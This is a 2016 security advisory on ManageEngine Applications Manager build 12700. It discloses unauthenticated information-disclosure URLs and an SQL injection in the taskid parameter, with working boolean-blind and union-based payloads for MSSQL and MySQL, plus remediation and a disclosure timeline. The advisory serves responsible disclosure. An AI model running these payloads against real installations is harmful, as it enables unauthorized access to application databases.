[SPSA-2016-02/ManageEngine ApplicationsManager]------------------------------
SECURITY ADVISORY: SPSA-2016-02/ManageEngine Applications Manager Build No: 12700
Affected Software: ManageEngine Applications Manager Build No: 12700
Vulnerability: Information Disclosure and Un-Authenticated SQL
injection.
CVSSv3: 9.3
Severity: Critical
Release Date: 2016-05-05
I. Background
~~~~~~~~~~~~~
ManageEngine Applications Manager is an Application Performance Monitoring across physical, virtual and cloud environments.
II. Description
~~~~~~~~~~~~~~~
For details about the fix please visit https://www.manageengine.com/products/applications_manager/release-notes.html
Information Disclosure:
~~~~~~~~~~~~~~~~~~~~~~~
Some scripts were accessible without authentication, which allowed public access to sensitive data such as licensing information and Monitored Server Details like name IP and maintenance schedule.
POC
~~~
License Information:
https://ManageEngineHost/jsp/About.jsp?context=/CAMGlobalReports.do?method=disableReports
List of Maintenance tasks:
https://ManageEngineHost/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv
Details of Maintenance tasks with details about monitored server:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=2&edit=true&readonly=false
SQL Injection:
~~~~~~~~~~~~~~
The downTimeScheduler.do script is vulnerable to a Boolean based blind, and Union based SQL injection, that allows complete unauthorized access to the back-end database, according to the level of privileges of the application database user.
Vulnerable URL:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
Vulnerable Parameter: GET parameter taskid
PoC:
~~~~
Boolean Based Blind SQL Injection PoC:
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
and 1=1 (True)
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1
and 1=2 (False)
The following will include the Database Name in the Schedule Details
Description text box:
Union-Based SQL Injection PoC: Number of Columns 15, ORDER BY was
usable.
MSSQL: During our testing, the payload needed to be URL Encoded.
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28113%29%2BISNULL%28CAST%28%28SELECT%20DB_NAME%28%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--
MYSQL: During our testing, the payload did not need URL Encoding.
https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15%20--
III. Impact
~~~~~~~~~~~
Information Disclosure Impact:
An attacker might make use of the intelligence gathered through information leakages such as these for further attacks against the application, and its underlying infrastructure
Un-Authenticated SQL Injection Impact:
Access to sensitive information, stored in the application Database server, depending on the privileges of the application's database user.
IV. Remediation
~~~~~~~~~~~~~~~
Apply Vendor supplied patch build #12710, details are available at
https://www.manageengine.com/products/applications_manager/release-notes.html
V. Disclosure
~~~~~~~~~~~~~
Reported By: Saif El-Sherei, @saif_sherei, saif@sensepost.com
Discovery Date: 2016-02-29
Vendor Informed: 2016-03-04
Advisory Release Date: 2016-05-05
Patch Release Date: 2016-04-28
Advisory Updated: 2016-05-05
---------------------------------[SPSA-2016-02/ManageEngine ApplicationsManager]---
